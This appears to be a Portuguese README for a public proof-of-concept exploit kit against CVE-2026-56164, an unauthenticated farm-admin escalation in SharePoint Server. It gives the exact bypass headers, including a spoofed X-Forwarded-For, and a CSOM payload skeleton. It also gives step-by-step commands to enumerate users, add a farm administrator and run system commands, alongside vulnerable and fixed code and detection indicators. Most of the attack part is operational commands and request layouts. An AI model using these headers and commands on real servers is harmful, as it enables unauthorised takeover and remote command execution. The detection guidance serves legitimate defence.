
CVE-2026-56164 é uma vulnerabilidade crítica de falta de autenticação que afeta o Microsoft SharePoint Server on-premises. Ela permite que atacantes remotos não autenticados elevem privilégios pela rede.
Crítico (CVSS 9.8) — Escalação de Privilégio Não Autenticada para Administrador de Farm no Microsoft SharePoint Server
CVE-2026-56164 é uma vulnerabilidade crítica de ausência de autenticação no Microsoft SharePoint Server que permite que um atacante remoto não autenticado eleve privilégios ao nível de Administrador de Farm. A vulnerabilidade reside no assembly Microsoft.Office.Server.UserProfiles, que processa requisições SOAP em /_vti_bin/client.svc/ProcessQuery.
Ao omitir intencionalmente o cabeçalho X-RequestDigest e fornecer cabeçalhos de roteamento específicos, o servidor vulnerável recorre a um contexto de segurança elevado em vez de rejeitar a requisição não autenticada. Isso permite que atacantes anônimos enumerem coleções de sites, usuários, configuração do farm, adicionem administradores e executem comandos.
CISA KEV: Esta vulnerabilidade está listada no Catálogo de Vulnerabilidades Exploradas Conhecidas da CISA devido à exploração ativa no mundo real.
O handler Microsoft.Office.Server.UserProfiles processa requisições SOAP em /_vti_bin/client.svc/ProcessQuery. Em operações normais, o SharePoint valida o cabeçalho X-RequestDigest para confirmar o contexto de autenticação. No entanto, existe um bypass de validação:
X-RequestDigest estiver ausente E cabeçalhos de roteamento específicos estiverem presentes// Vulnerável: Se o digest estiver ausente, o handler verifica cabeçalhos de roteamento
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Ignora a validação de identidade padrão → sessão administrativa elevada
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Caminho normal
}
// Corrigido: A validação do digest é incondicional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| Produto | Versões Afetadas | Versão Corrigida |
|---|---|---|
| SharePoint Enterprise Server 2016 | Todas as 16.0.x anteriores ao patch | 16.0.5561.1001 |
| SharePoint Server 2019 | Todas as 16.0.x anteriores ao patch |
Não impactado: SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Geração de payloads (CSOM, SOAP, cabeçalhos de bypass)
├── scan.py # Scanner de vulnerabilidades (detecção de SharePoint + verificação de versão)
├── exploit.py # Orquestrador do exploit (detect/enumerate/elevate/execute/full)
├── requirements.txt # Dependências Python
└── README.md # Este arquivo
# Clona o repositório
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Instala as dependências
pip3 install -r requirements.txt
Requisitos: Python 3.8+, biblioteca requests (opcional — o urllib da stdlib é usado por padrão).
O scanner realiza verificações seguras e não intrusivas para identificar alvos SharePoint Server vulneráveis.
python3 scan.py --target sharepoint.example.com
O scanner irá:
MicrosoftSharePointTeamServicespython3 scan.py --target sharepoint.example.com --port 443
Crie um arquivo targets.txt:
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comentários são ignorados
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
O exploit suporta cinco modos de intensidade crescente.
Testa o bypass de autenticação comparando uma requisição normal (com digest) com uma requisição de bypass (sem digest + cabeçalhos de roteamento).
python3 exploit.py --target sharepoint.example.com --mode detect
Extrai coleções de sites, usuários e configuração do farm usando o bypass de autenticação.
python3 exploit.py --target sharepoint.example.com --mode enumerate
Eleva o contexto anônimo atual ou um usuário específico para Administrador de Coleção de Sites / Farm.
# Eleva o contexto atual
python3 exploit.py --target sharepoint.example.com --mode elevate
# Eleva um usuário específico
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
Executa um comando de sistema por meio do serviço SOAP de Administração do SharePoint.
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
Executa a cadeia completa do exploit em sequência.
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p: Porta do alvo (padrão: 443)--http: Usar HTTP em vez de HTTPS--site-url / -s: URL do site SharePoint (padrão: alvo)--json / -j: Salvar relatório como JSON--timeout: Tempo limite da requisição em segundos (padrão: 30)┌─────────────────────────────────────────────────────────────────┐
│ Requisição HTTP para /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITIDO] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [Corpo do Payload CSOM/SOAP] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Servidor SharePoint Vulnerável │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → ADMIN DE FARM │
│ 4. Processa a requisição SOAP com credenciais de nível de sistema│
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Ações de detecção / enumeração / elevação]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/ por meio de regras de proxy reverso/WAF/_vti_bin/client.svc/ProcessQuery/_vti_bin/client.svc/ProcessQuery sem o cabeçalho X-RequestDigestX-SharePoint-Authenticated, SPHomeBearerHint, etc.)/_vti_bin/SharePointAdmin.asmx originadas de fontes não autenticadasEsta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Utilize-a somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado contra sistemas de produção é ilegal e pode violar leis de fraude e abuso de computadores.
Os autores não assumem qualquer responsabilidade pelo uso indevido desta ferramenta. Sempre siga práticas de divulgação responsável e cumpra as leis e regulamentos aplicáveis.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-56164 |
| Severidade | CRÍTICA |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: Ausência de Autenticação para Função Crítica |
| Impacto | Elevação de Privilégio Não Autenticada para Administrador de Farm |
| Status de Exploração | Exploração ativa (CISA KEV) |
| MITRE ATT&CK | T1190 (Explorar Aplicação Exposta Publicamente) |
| 16.0.10417.20175 |
| SharePoint Server Subscription Edition | Todas as 16.0.x anteriores ao patch | 16.0.19725.20434 |
| Indicador | Método |
|---|
| SharePoint Server | Fingerprinting de cabeçalhos HTTP (MicrosoftSharePointTeamServices, SPRequestGuid) |
| Versão do servidor | Parsing de cabeçalhos + regex no corpo da resposta |
| Versão vulnerável | Comparação com as versões corrigidas do CVE-2026-56164 |
| Bypass de autenticação | Requisição CSOM sem X-RequestDigest + cabeçalhos de roteamento de bypass |
| Certificado SSL | Assunto/emissor do certificado para identificação do alvo |
| Cabeçalho | Valor | Finalidade |
|---|
X-SharePoint-Authenticated | 1 | Declarar que a autenticação já foi concluída |
X-SP-RequestRights | FullControl | Solicitar permissões de controle total |
X-SP-RequestRights2 | ManageLists, ManageWeb | Direitos administrativos adicionais |
SPHomeBearerHint | farmadmin | Sugerir contexto de administrador de farm |
X-RequestForceAuthentication | false | Desabilitar autenticação forçada |
X-SP-Proxy | internal | Declarar origem de proxy interno |
X-Forwarded-For | 127.0.0.1 | Falsificar origem local |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | Diretiva de roteamento |